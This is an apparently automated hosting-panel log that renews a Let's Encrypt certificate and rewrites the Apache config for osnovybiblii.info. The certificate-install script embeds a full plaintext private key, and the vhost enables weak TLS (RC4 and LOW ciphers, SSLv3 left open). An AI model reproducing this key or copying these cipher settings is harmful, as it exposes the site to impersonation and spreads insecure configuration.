MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-05 09:18:00: Establishing a connection
2026-05-05 09:18:00: Establishing a connection
2026-05-05 09:18:00: 

PUT: /tmp/pkp864924

#!/bin/bash
if [ -d "/var/www/osnovybiblii_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-05 09:18:00: 

chmod 755 /tmp/pkp864924; /tmp/pkp864924; rm /tmp/pkp864924

2026-05-05 09:18:00: 


1


2026-05-05 09:18:02: Establishing a connection
2026-05-05 09:18:02: 

PUT: /tmp/pkp383728

#!/bin/bash
mkdir -p "/var/www/osnovybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnovybiblii_www/.well-known/acme-challenge/"
cat > kYawoXxT8tWd5gcGxxR880FXBy5ift8oryUEuryCuGw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
kYawoXxT8tWd5gcGxxR880FXBy5ift8oryUEuryCuGw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 kYawoXxT8tWd5gcGxxR880FXBy5ift8oryUEuryCuGw
cat > y5Zfw-w194Gc2AKz6Zlej3C0AeGcLQb6rR8DjW7nemg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
y5Zfw-w194Gc2AKz6Zlej3C0AeGcLQb6rR8DjW7nemg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 y5Zfw-w194Gc2AKz6Zlej3C0AeGcLQb6rR8DjW7nemg


2026-05-05 09:18:02: 

chmod 755 /tmp/pkp383728; /tmp/pkp383728; rm /tmp/pkp383728

2026-05-05 09:18:02: 




2026-05-05 09:18:13: Establishing a connection
2026-05-05 09:18:13: 

PUT: /tmp/pkp533580

#!/bin/bash
mkdir -p "/var/www/osnovybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnovybiblii_www/.well-known/acme-challenge/"
rm kYawoXxT8tWd5gcGxxR880FXBy5ift8oryUEuryCuGw
rm y5Zfw-w194Gc2AKz6Zlej3C0AeGcLQb6rR8DjW7nemg


2026-05-05 09:18:13: 

chmod 755 /tmp/pkp533580; /tmp/pkp533580; rm /tmp/pkp533580

2026-05-05 09:18:13: 




2026-05-05 09:18:13: Establishing a connection
2026-05-05 09:18:13: 

PUT: /tmp/pkp592577

#!/bin/bash
temp_file=$(mktemp)
TARGET=28fc54e1b5f7cd1c122e74906c55a106.crt

cat > $temp_file <<'endmsg'
68:44:74:0c:b2:cf:f3:7e:46:5b:b9:74:ba:77:ff:11

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBWlfIuuxs1Izyxfdc2O173AwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTA1MDgxOTQyWhcNMjYwODAzMDgxOTQxWjAcMRowGAYDVQQD
ExFvc25vdnliaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAILYpkJtb1R2hJ4cpK2qDVLaeAtTqzPLy3q2Me/i9LcX2APg/5mvT9w6brmY
Odu7JzyVSBTeZL2idpNR2GOLf8nnuFm2npMzl8pfGU94P2yYrIYI33WGofUZFD4N
NePxYcxgSrMA/PM2GDHgrt1y44gyqvAFFwcmzZZN71oQyx6j9k3o3SkIt1uPjREB
y8Qa0FXi9QtGKjAEPLA2m76DA6ge+W4dmRk7xSm81JavhyVijtcDZSNMxkgIk7TV
BVBtm3lFHSJ0uyMyKGWEYrGXcfwtdJ1gRevOcpQMm2fD4oLwxuKC9UfPhd/ZUmnr
viWyIodjyOXEp/GIgZpH2jOgPuECAwEAAaOCAjYwggIyMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSv
SOUJivVJ/F2VMRpBy2iCm6/8ujAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc
6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEW9zbm92eWJpYmxpaS5pbmZvghV3d3cub3Nu
b3Z5YmlibGlpLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy80OS5jcmwwggEMBgorBgEEAdZ5
AgQCBIH9BIH6APgAdgDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAA
AZ33bkX5AAAEAwBHMEUCIQDToGVNQJ9nnTHdiL+Zq1c2Az5JWghD63I6h6knQ3L4
IQIgX2yCMEDFHcPzBBxpa/oVnTnuuIoM4XfkzJW9yCGCVYIAfgAai51rD/6/gbR5
OcbSMQqG1tEC1PBG4hgsneNfXiYl7wAAAZ33bkbdAAgAAAUADyUE8AQDAEcwRQIh
AOdgSKPAoGWvBMj3TLj+5lqy37217WVdjUtahjS8EybaAiAfx8ZuCNhWMpOKFLXK
23JIISzG6xp9GGHnQRSUazweWDANBgkqhkiG9w0BAQsFAAOCAQEAIxrXEp/JhCxL
nrJ5z5kg8f2xXzvNcuqSGYOwF+2M2wNxvweK0KrVcHa1FGHvn5p9IGbI0whFQDEX
bLKHN6Ob3eFvEGTBhaaUDtVLJBt0gBGh2aTd2iiGn5GaINdAJejJx+lxxYoB9Jfe
ZUpxa9wNZ92t1L+zPfnThb2xbjiW/HzGDe4SgAwdFr66lnTx1q8Q7GCfW3xdrS+Z
ht+Rq/ZPTUDN6Pj4/1Q9Z1/C6NTVky323p0kuoUsShrodOGOQuz05SlGcaOAi30q
RhoPx8yBa/BFBiiMFt+AD+Ti2peG1NbObtvR3Gu730g6s5XtZgJPFWPVStbkpfPo
43WdmRMZiw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQCC2KZCbW9UdoSe
HKStqg1S2ngLU6szy8t6tjHv4vS3F9gD4P+Zr0/cOm65mDnbuyc8lUgU3mS9onaT
Udhji3/J57hZtp6TM5fKXxlPeD9smKyGCN91hqH1GRQ+DTXj8WHMYEqzAPzzNhgx
4K7dcuOIMqrwBRcHJs2WTe9aEMseo/ZN6N0pCLdbj40RAcvEGtBV4vULRiowBDyw
Npu+gwOoHvluHZkZO8UpvNSWr4clYo7XA2UjTMZICJO01QVQbZt5RR0idLsjMihl
hGKxl3H8LXSdYEXrznKUDJtnw+KC8MbigvVHz4Xf2VJp674lsiKHY8jlxKfxiIGa
R9ozoD7hAgMBAAECgf9hyYLiZ4xUa17MFkwHHe0R3ARAiCniw+PbtF5jEWgiOHJQ
M88nuZrNfpNRpoVXGj+bSgBc2E13C/viOGtSZJGpq2uzCzA9LXRmNzxgkABBK2OE
Uw1DICMvXFbXKQ2lamMqAqzRAA61v9pv1viDYmF5taQv98iF/RHtysD0EVORdEFZ
u96noTLd5cXmmj/W3oO5XMs+ldC1WFcVCHg1ZOzMtTPfcey+nNJYQUtbpBFuCkoX
ZZipLgdRn65ZKaGdA2dzPfVafd3rTEio0gWMpnO4C6deKTaU7xOy43QFMaYNqU3u
eWCijTsWrL46KV40vs/NW6Ta8nnnta0bvpOqR0ECgYEAuKv3o81jaJNBEC3TmH+q
iVe5EKosllhWfEJub/MWHWUSkZ0aW6kaQxDXZ3P7ADuf7GtSf2aUGorz7cSzCNQI
KIKRj8mhZNCril73pWGN+exRkqUo6hEBe6D/RniYV1qindaUXnl1+ve0nIf0Pf3G
ecZ4qpoOmJ5Ck2hfCPdKf6ECgYEAtWKCxuiL0OKFTNyoHEqmTTImWwtHIXbfoHDZ
wuh5Kts9zIW7GkiRCQ+GVgdDoVeys9y+fJhSclfzkshhrruQrOzVNZrKmIzC66JA
ZTstv269CnbMalFwhjVRZZ1dsIr530YSOCkAAMY7p52omG6S+b1cMzXN1zaXQvj+
vrUid0ECgYABl5Hx+pJR03srHYoGdYtN1dDFoQHzZd2RAq2bD3hwVm+7i6QviByu
2VVSEgDm9pyhWCeE66h5Nht2QEze1Z0gZEfG+pEGonnoHnt6FIY50ly9q+jXY8Ak
hbXNsLp3flOKktACpH9s43fOJanoYui0Ig7mQZ/AlxSx2qN/G0qsIQKBgQCUUFzG
8FeDEfYVh0ge+htJe/xI7cvX3S+2LRCigxywolzB44e+Uh/l3L/nkEEIqIEC+Tj5
AERKIwiTuS3GhrAh9fXQwyVt34tyyVUGcYFSyuXgrIsxVC5CT06jXC3DsZ/npZA4
Q64w8+bLg+rb2W5srx248gHCPG0q4hbLMalhAQKBgHDriQImq/9Em3OTyq1caCUg
/jlz4fR9KgTkf2yvLKIuOXDrOBnT+SKkIcBZ75MC/8ZGVvg5JagKdXlPs/Fd4dUg
pgB+jTzcfJ/TF2iqozbQgSqgbsG5pgQGx4jG1sU4IklDHB0e+OuFkUiFC0Yxl1dC
MGWURaScGbZf9M9E6SRd
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-05 09:18:13: 

chmod 755 /tmp/pkp592577; /tmp/pkp592577; rm /tmp/pkp592577

2026-05-05 09:18:14: 


dir=/etc/ssl/certs


2026-05-05 09:18:14: 

PUT: /tmp/pkp624223

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/osnovybiblii_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-05 09:18:14: 

chmod 755 /tmp/pkp624223; /tmp/pkp624223; rm /tmp/pkp624223

2026-05-05 09:18:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnovybiblii_www_info.conf 45

<VirtualHost *:80>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-05 09:18:14: 

PUT: /tmp/pkp937807

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=osnovybiblii_www_info.conf
TARGET=/etc/apache2/sites-enabled/osnovybiblii_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/osnovybiblii_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/osnovybiblii_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/osnovybiblii_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/osnovybiblii_www_info.conf= 1'
fi


2026-05-05 09:18:14: 

chmod 755 /tmp/pkp937807; /tmp/pkp937807; rm /tmp/pkp937807

2026-05-05 09:18:14: 




2026-05-05 09:18:14: 

PUT: /tmp/pkp924606

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-05 09:18:14: 

chmod 755 /tmp/pkp924606; /tmp/pkp924606; rm /tmp/pkp924606

2026-05-05 09:18:14: 


.


2026-05-05 09:18:14: Establishing a connection
2026-05-05 09:18:14: 

PUT: /tmp/pkp156781

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-05 09:18:14: 

chmod 755 /tmp/pkp156781; /tmp/pkp156781; rm /tmp/pkp156781

2026-05-05 09:18:14: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-05-05 09:18:14: 

PUT: /tmp/pkp299211

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/osnovybiblii_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-05 09:18:14: 

chmod 755 /tmp/pkp299211; /tmp/pkp299211; rm /tmp/pkp299211

2026-05-05 09:18:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnovybiblii_www_info.conf	1414

<VirtualHost *:80>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_secure_access.log combined
